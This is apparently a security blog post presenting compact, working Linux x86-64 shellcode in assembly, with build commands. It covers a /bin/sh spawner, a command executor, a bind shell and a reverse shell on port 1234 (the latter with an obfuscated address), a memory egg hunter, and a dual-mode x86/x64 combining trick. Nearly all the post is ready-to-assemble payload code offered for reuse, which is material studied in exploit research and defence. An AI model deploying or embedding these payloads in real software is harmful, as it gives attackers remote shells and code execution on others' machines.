Shellcode: Linux x86-x64

Introduction

Just a quick blog about some simple shellcodes for x64 build of Linux you might find useful as a reference if nothing else. šŸ˜‰

Assemble as binary files with NASM/YASM and edit before execution.

For example: yasm -fbin rs.asm -ors.bin or nasm -fbin rs.asm -ors.bin

The reverse/bind shells both use port 1234 and reverse shell connects to 127.0.0.1 by default. The sockaddr_in structure is inverted using NOT instruction. If you have any questions, leave a comment.

I’ll add more as I go along.

64-bit ABI

To make a system call in 64-bit Linux, place the system call number in rax, then its arguments, in order, in rdi, rsi, rdx, r10, r8, and r9, then invoke syscall.

Execute /bin/sh

; 22 byte execve("/bin//sh", 0, 0) for linux/x86-64
; odzhan

    bits 64
    
    push    59
    pop     rax    ; eax = 59
    cdq            ; edx = 0 
    push    rdx    ; NULL
    pop     rsi    ; esi = NULL
    mov     rcx, '/bin//sh'
    push    rdx    ; 0
    push    rcx    ; "/bin//sh"
    push    rsp
    pop     rdi    ; rdi="/bin//sh",0
    syscall

Execute command

; 39 byte execute command for linux/x86-64
; odzhan

    bits    64

    push    59
    pop     rax              ; rax=sys_execve
    cdq                      ; penv=0
    mov     rcx, '/bin//sh'
    push    rdx              ; 0
    push    rcx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; rdi="/bin//sh", 0
    ; ---------
    push    rdx              ; 0
    push    word '-c'
    push    rsp
    pop     rbx              ; rbx="-c", 0
    push    rdx              ; NULL
    jmp     l_cmd64
r_cmd64:                     ; command
    push    rbx              ; "-c"
    push    rdi              ; "/bin//sh"
    push    rsp
    pop     rsi              ; rsi=args
    syscall
l_cmd64:
    call    r_cmd64
    ; put your command here followed by null terminator

Bind shell

; 71 byte bind shell for linux/x86-64
; odzhan

    bits    64
    
    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    41
    pop     rax         ; rax = sys_socket
    push    1
    pop     rsi         ; rsi = SOCK_STREAM
    push    2
    pop     rdi         ; rdi = AF_INET
    cdq                 ; rdx = IPPROTO_IP
    syscall
    
    xchg    eax, edi    ; rdi = s
    
    ; step 2, bind to port 1234 
    ; bind(s, {AF_INET,1234,INADDR_ANY}, 16)
    mov     ebx, 0xd204FF02
    inc     bh
    push    rbx
    push    rsp
    pop     rsi         ; rsi = &sa 
    mov     dl, 16      ; rdx = sizeof(sa) 
    mov     al, 49      ; rax = sys_bind
    syscall
    
    ; step 3, listen
    ; listen(s, 0);
    xor     esi, esi    ; rsi = 0
    mov     al, 50      ; rax = sys_listen
    syscall
    
    ; step 4, accept connections
    ; accept(s, 0, 0);
    mov     al, 43
    syscall
    
    xchg    eax, edi    ; edi = r
    xchg    eax, esi    ; esi = 2, eax = 0
    
    ; step 5, assign socket handle to stdin,stdout,stderr
    ; dup2 (r, STDIN_FILENO)
    ; dup2 (r, STDOUT_FILENO)
    ; dup2 (r, STDERR_FILENO)
dup_loop64:
    mov     al, 33      ; rax = sys_dup2
    syscall
    sub     esi, 1
    jns     dup_loop64       ; jump if not signed   
    
    ; step 6, execute /bin/sh
    ; execve("/bin//sh", NULL, NULL);
    xor     esi, esi         ; rsi = 0
    push    rax              ; zero terminator
    mov     rcx, '/bin//sh'
    push    rcx
    push    rsp
    pop     rdi
    cdq                      ; rdx = 0    
    mov     al, 59           ; rax = sys_execve
    syscall

Reverse Shell

; 66 byte reverse shell for linux/x86-64
; odzhan

    bits    64
    
    mov     rax, ~0x0100007fd2040002
    not     rax
    push    rax
    push    rsp
    
    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    41
    pop     rax
    push    1
    pop     rsi
    push    2
    pop     rdi
    cdq
    syscall
    
    xchg    eax, edi         ; edi = s
    xchg    eax, esi         ; esi = 2, eax = 0
    
    ; step 2, assign socket handle to stdin,stdout,stderr
    ; dup2 (s, STDIN_FILENO)
    ; dup2 (s, STDOUT_FILENO)
    ; dup2 (s, STDERR_FILENO)
dup_loop64:
    mov     al, 33           ; rax = sys_dup2
    syscall
    sub     esi, 1           ; watch out for that bug šŸ˜‰
    jns     dup_loop64       ; jump if not signed
    
    ; step 3, connect to remote host
    ; connect (s, &sa, sizeof(sa));
    pop     rsi              ; rsi = &sa
    mov     dl, 16           ; rdx = sizeof(sa)
    mov     al, 42           ; rax = sys_connect
    syscall    
    
    ; step 4, execute /bin/sh
    ; execv("/bin//sh", 0, 0);
    cdq
    push    rdx
    pop     rsi              ; rsi=0
    push    rdx              ; zero terminator
    mov     rcx, '/bin//sh'
    push    rcx
    push    rsp
    pop     rdi    
    mov     al, 59           ; rax = sys_execve
    syscall

Egg Hunter

; 38 byte egg hunter using sys_access() for Linux/x86-64 
; odzhan
;
    bits    64
      
    xor     edi, edi  ; rdi = 0
    mul     edi       ; rax = 0, rdx = 0
    xchg    eax, esi  ; rsi = F_OK
    mov     dh, 10h   ; rdx = 4096
nxt_page:
    add     rdi, rdx  ; advance 4096 bytes
nxt_addr:
    push    rdi       ; save page address
    add     rdi, 8    ; try read 8 bytes ahead
    push    21
    pop     rax       ; rax = sys_access 
    syscall
    pop     rdi       ; restore rdi
    cmp     al, 0xF2  ; -EFAULT means bad address
    je      nxt_page  ; keep going until good read
    
    ; put your own egg signature here
    mov     eax, 0xDEADC0DE
    scasd
    jne     nxt_addr

    scasd
    jne     nxt_addr
    
    jmp     rdi       ; jump into shellcode

Combining x86 and x64

If you wanted to combine 2, you can exploit REX prefixes. Peter Ferrie uses the following in his win-exec-calc-shellcode.

If the code is running in x86 mode, the CPU will execute this.

//
  /* 0000 */ "\x31\xc0" /* xor eax, eax */
  /* 0002 */ "\x40"     /* inc eax      */
  /* 0003 */ "\x74\x08" /* jz 0xd       */

But in x64 mode, will see this:

//
  /* 0000 */ "\x31\xc0"     /* xor eax, eax */
  /* 0002 */ "\x40\x74\x08" /* jz 0xd       */

So combining the 2 reverse shells for example, you can use the following:

bits 32
    
    xor    eax, eax
    inc    eax
    jz     x64
    
%include "rs32.asm"
    
    push   1                 ; sys_exit
    pop    eax
    int    0x80
x64:

%include "rs64.asm"

Sources

Have a look in this directory here. They will assemble with YASM or NASM.

Advertisements
This entry was posted in assembly, linux, programming, shellcode and tagged , , , . Bookmark the permalink.

One Response to Shellcode: Linux x86-x64

  1. Pingback: Shellcode: Dual Mode (x86 + x86-64) Linux shellcode | modexp

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s